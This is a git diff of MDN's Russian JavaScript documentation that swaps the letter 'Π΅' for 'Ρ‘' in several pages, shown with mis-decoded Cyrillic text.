var fruitbear = fruit; // присвоим ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ fruitbear ссылку Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ fruit
// Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ fruitbear ΠΈ fruit ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚
-fruit == fruitbear; // Π²Π΅Ρ€Π½Π΅Ρ‚ true
-fruit === fruitbear; // Π²Π΅Ρ€Π½Π΅Ρ‚ true</code></pre>
+fruit == fruitbear; // Π²Π΅Ρ€Π½Ρ‘Ρ‚ true
+fruit === fruitbear; // Π²Π΅Ρ€Π½Ρ‘Ρ‚ true</code></pre>
<pre class="brush: js"><code>fruit.name = 'grape';
-console.log(fruitbear); // Π²Π΅Ρ€Π½Π΅Ρ‚ { name: "grape" } вмСсто { name: "apple" }</code></pre>
+console.log(fruitbear); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ { name: "grape" } вмСсто { name: "apple" }</code></pre>
<p>ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ сравнСния</a>.</p>
diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html
index d7c70db6d0..0e29c2efb4 100644
--- a/files/ru/web/javascript/index.html
+++ b/files/ru/web/javascript/index.html
@@ -20,7 +20,7 @@ translation_of: Web/JavaScript
<p><strong>JavaScript</strong><sup>Β</sup> (часто просто <strong>JS</strong>) β€” это лСгковСсный, ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΈΠ»ΠΈ JIT-ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ язык с {{Glossary("First-class_Function", "функциями ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ класса")}}. НаиболСС ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΊΠ°ΠΊ язык сцСнариСв Π²Π΅Π±-страниц, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ… ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°Ρ…</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <a href="http://nodejs.org" title="http://nodejs.org">node.js</a> ΠΈΠ»ΠΈ <a href="http://couchdb.apache.org" title="http://couchdb.apache.org">Apache CouchDB</a>. JavaScript это {{Glossary("Prototype-based_programming", "ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ")}}, ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΏΠ°Ρ€Π°Π΄ΠΈΠ³ΠΌΠ΅Π½Π½Ρ‹ΠΉ язык с динамичСской Ρ‚ΠΈΠΏΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ, ΠΈΠΌΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΈ Π΄Π΅ΠΊΠ»Π°Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹ΠΉ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅) стили программирования. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/%D0%9E_JavaScript">ΠΎ JavaScript</a>.</p>
</div>
-<p>Π­Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ сайта посвящСна самому языку JavaScript, ΠΈ ΠΎΠ½Π° Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ тонкостСй, связанных с Π²Π΅Π±-страницами ΠΈΠ»ΠΈ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ исполняСтся JavaScript. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎΠ± {{Glossary("API")}}, относящихся ΠΊ Π²Π΅Π±-страницам, находится Π² Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, посвящСнных <a href="/ru/docs/Web/API">Π’Π΅Π±-API</a> ΠΈ <a href="/ru/docs/DOM">DOM</a>.</p>
+<p>Π­Ρ‚Π° Ρ‡Π°ΡΡ‚ΡŒ сайта посвящСна самому языку JavaScript, ΠΈ ΠΎΠ½Π° Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ тонкостСй, связанных с Π²Π΅Π±-страницами ΠΈΠ»ΠΈ ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ΠΌ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ исполняСтся JavaScript. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎΠ± {{Glossary("API")}}, относящихся ΠΊ Π²Π΅Π±-страницам, находится Π² Ρ€Π°Π·Π΄Π΅Π»Π°Ρ…, посвящённых <a href="/ru/docs/Web/API">Π’Π΅Π±-API</a> ΠΈ <a href="/ru/docs/DOM">DOM</a>.</p>
<p>Π‘Ρ‚Π°Π½Π΄Π°Ρ€Ρ‚ΠΎΠΌ языка JavaScript являСтся <a href="https://developer.mozilla.org/ru/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. По ΡΠΎΡΡ‚ΠΎΡΠ½ΠΈΡŽ Π½Π° 2012, всС соврСмСнныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ECMAScript 5.1. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ вСрсии Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ - ECMAScript 3. 17 июня 2015 Π³ΠΎΠ΄Π° состоялся выпуск ΡˆΠ΅ΡΡ‚ΠΎΠΉ вСрсии ECMAScript. Π­Ρ‚Π° вСрсия ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ называСтся ECMAScript 2015, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ‡Π°Ρ‰Π΅ всСго Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ ECMAScript 2015 ΠΈΠ»ΠΈ просто ES2015. Π‘ Π½Π΅Π΄Π°Π²Π½Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ стандарты ECMAScript Π²Ρ‹ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π΅ΠΆΠ΅Π³ΠΎΠ΄Π½ΠΎ. Π­Ρ‚Π° докумСнтация относится ΠΊ послСднСй вСрсии Ρ‡Π΅Ρ€Π½ΠΎΠ²ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ являСтся <a href="http://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p>
@@ -47,7 +47,7 @@ translation_of: Web/JavaScript
<dt><a href="/ru/docs/Learn/JavaScript/Asynchronous">Асинхронный JavaScript</a></dt>
<dd>ΠžΠ±ΡΡƒΠΆΠ΄Π΅Π½ΠΈΠ΅ асинхронного JavaScript: ΠΏΠΎΡ‡Π΅ΠΌΡƒ это Ρ‚Π°ΠΊ Π²Π°ΠΆΠ½ΠΎ, ΠΊΠ°ΠΊ эта Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ языка ΠΌΠΎΠΆΠ΅Ρ‚ использована для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… Π±Π»ΠΎΠΊΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… с сСрвСра.</dd>
<dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠ΅Β (Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅)Β Π²Π΅Π±-API</a></dt>
- <dd>Когда Π²Ρ‹ ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π²Π΅Π±-сайтов ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉΒ Π½Π° JavaScript, Π²Ρ‹ Π½Π΅ Π΄Π°Π»Π΅ΠΊΠΎ ΡƒΠΉΠ΄Π΅Ρ‚Π΅ Π±Π΅Π· использования API – интСрфСйсов для взаимодСйствия с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмой, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π·Π°ΠΏΡƒΡ‰Π΅Π½ сайт, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов ΠΈ сСрвисов.Β Π’ этом циклС статСй ΠΌΡ‹ разбираСмся, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ API ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ самыС распространСнныС API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вам встрСтятся ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅.</dd>
+ <dd>Когда Π²Ρ‹ ΠΏΠΈΡˆΠΈΡ‚Π΅ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ Π²Π΅Π±-сайтов ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉΒ Π½Π° JavaScript, Π²Ρ‹ Π½Π΅ Π΄Π°Π»Π΅ΠΊΠΎ ΡƒΠΉΠ΄Ρ‘Ρ‚Π΅ Π±Π΅Π· использования API – интСрфСйсов для взаимодСйствия с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмой, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π·Π°ΠΏΡƒΡ‰Π΅Π½ сайт, ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ для ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ с Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π²Π΅Π±-сайтов ΠΈ сСрвисов.Β Π’ этом циклС статСй ΠΌΡ‹ разбираСмся, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ API ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ самыС распространённыС API, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ вам встрСтятся ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅.</dd>
</dl>
<h3 id="Руководство_ΠΏΠΎ_JavaScript">Руководство ΠΏΠΎ JavaScript</h3>
diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html
index bf82041c88..5ed538ca47 100644
--- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html
+++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain
<h3 id="НаслСдованиС_свойств">НаслСдованиС свойств</h3>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² JavaScript β€” динамичСскиС "ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Ρ‹", Π½Π°ΠΏΠΎΠ»Π½Π΅Π½Π½Ρ‹Π΅ свойствами (Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΌΠΈ <strong>собствСнными свойствами</strong>). ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТит ссылку Π½Π° свой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚-ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ.<br>
- ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ-Π»ΠΈΠ±ΠΎ свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, свойство Π²Π½Π°Ρ‡Π°Π»Π΅ ищСтся Π² самом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π·Π°Ρ‚Π΅ΠΌ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, послС Ρ‡Π΅Π³ΠΎ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Поиск вСдСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ свойство с ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½Π΅ достигнут ΠΊΠΎΠ½Π΅Ρ† Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
+ ΠŸΡ€ΠΈ ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΊΠ°ΠΊΠΎΠΌΡƒ-Π»ΠΈΠ±ΠΎ свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, свойство Π²Π½Π°Ρ‡Π°Π»Π΅ ищСтся Π² самом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π·Π°Ρ‚Π΅ΠΌ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, послС Ρ‡Π΅Π³ΠΎ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅. Поиск вСдётся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½ΠΎ свойство с ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‰ΠΈΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈΠ»ΠΈ Π½Π΅ достигнут ΠΊΠΎΠ½Π΅Ρ† Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
<pre class="brush: js notranslate">// Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ someObject.[[Prototype]] ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ someObject.
// Π­Ρ‚ΠΎ упрощённая нотация (описанная Π² стандартС ECMAScript).
@@ -209,7 +209,7 @@ var square = new Square(2);</pre>
<p>Одной ΠΈΠ· частых ошибок являСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ <code>Object.prototype</code> ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
-<p>Π’Π°ΠΊΠΎΠΉ подход называСтся monkey patching ΠΈΒ Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ <em>инкапсуляции</em>. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ он использовался Π² Ρ‚Π°ΠΊΠΈΡ… ΡˆΠΈΡ€ΠΎΠΊΠΎ распространСнных Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Ρ…, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Prototype.js, Π² настоящСС врСмя Π½Π΅ сущСствуСт Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΡ‡ΠΈΠ½ для Π΅Π³ΠΎ использования, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒΒ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС встроСнныС Ρ‚ΠΈΠΏΡ‹ "Π·Π°Ρ…Π»Π°ΠΌΠ»ΡΡŽΡ‚ΡΡ" Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ нСстандартной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.</p>
+<p>Π’Π°ΠΊΠΎΠΉ подход называСтся monkey patching ΠΈΒ Π½Π°Ρ€ΡƒΡˆΠ°Π΅Ρ‚ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏ <em>инкапсуляции</em>. НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π½Π΅Π΅ он использовался Π² Ρ‚Π°ΠΊΠΈΡ… ΡˆΠΈΡ€ΠΎΠΊΠΎ распространённых Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ°Ρ…, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Prototype.js, Π² настоящСС врСмя Π½Π΅ сущСствуСт Ρ€Π°Π·ΡƒΠΌΠ½Ρ‹Ρ… ΠΏΡ€ΠΈΡ‡ΠΈΠ½ для Π΅Π³ΠΎ использования, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒΒ Π² Π΄Π°Π½Π½ΠΎΠΌ случаС встроСнныС Ρ‚ΠΈΠΏΡ‹ "Π·Π°Ρ…Π»Π°ΠΌΠ»ΡΡŽΡ‚ΡΡ" Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ нСстандартной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽ.</p>
<p>ЕдинствСнным ΠΎΠΏΡ€Π°Π²Π΄Π°Π½ΠΈΠ΅ΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ²Π»ΡΡ‚ΡŒΡΡ лишь ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»Ρ‹ - эмуляторы Π½ΠΎΠ²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>Array.forEach)</code> для Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΡ… Π΅Ρ‘Β Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ языка Π² старых Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….</p>
diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html
index 8402d6cecb..70b2b62064 100644
--- a/files/ru/web/javascript/javascript_technologies_overview/index.html
+++ b/files/ru/web/javascript/javascript_technologies_overview/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
<h2 id="Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅</h2>
-<p>Если HTML опрСдСляСт структуру ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Β Π²Π΅Π±-страницы, Π° CSS Π·Π°Π΄Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΈ внСшний Π²ΠΈΠ΄, Ρ‚ΠΎ JavaScript добавляСт ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ создаСт Π±ΠΎΠ³Π°Ρ‚Ρ‹Π΅ Π²Π΅Π±-прилоТСния.Β </p>
+<p>Если HTML опрСдСляСт структуру ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Β Π²Π΅Π±-страницы, Π° CSS Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΈ внСшний Π²ΠΈΠ΄, Ρ‚ΠΎ JavaScript добавляСт ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ создаёт Π±ΠΎΠ³Π°Ρ‚Ρ‹Π΅ Π²Π΅Π±-прилоТСния.Β </p>
<p>Однако, ΠΏΠΎΠ΄ ΠΎΠ±Ρ‰ΠΈΠΌ Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ "JavaScript", Π² контСкстС Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°,Β ΠΏΠΎΠ½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ нСсколько ΠΎΡ‡Π΅Π½ΡŒ Ρ€Π°Π·Π½Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ. Одна из Π½ΠΈΡ… - это базовый язык программирования (ECMAScript), Π° другая - коллСкция Web APIs, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ DOM (ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ориСнтированная модСль Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°).</p>
@@ -33,7 +33,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
<h3 id="БраузСрная_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°">БраузСрная ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°</h3>
-<p>На ΠΎΠΊΡ‚ΡΠ±Ρ€ΡŒ 2016, Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ вСрсии основы Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a>Β ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ старыС вСрсии (всС Π΅Ρ‰Π΅ находящиСся Π² использовании) Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ECMAScript 5.</p>
+<p>На ΠΎΠΊΡ‚ΡΠ±Ρ€ΡŒ 2016, Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ вСрсии основы Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΠΈ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a>Β ΠΈΒ <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, Π½ΠΎ Π±ΠΎΠ»Π΅Π΅ старыС вСрсии (всС Π΅Ρ‰Ρ‘ находящиСся Π² использовании) Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ECMAScript 5.</p>
<h3 id="Π‘ΡƒΠ΄ΡƒΡ‰Π΅Π΅">Π‘ΡƒΠ΄ΡƒΡ‰Π΅Π΅</h3>
@@ -41,7 +41,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview
<h3 id="API_ΠΏΠΎ_ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ">API ΠΏΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π°Ρ†ΠΈΠΎΠ½Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</h3>
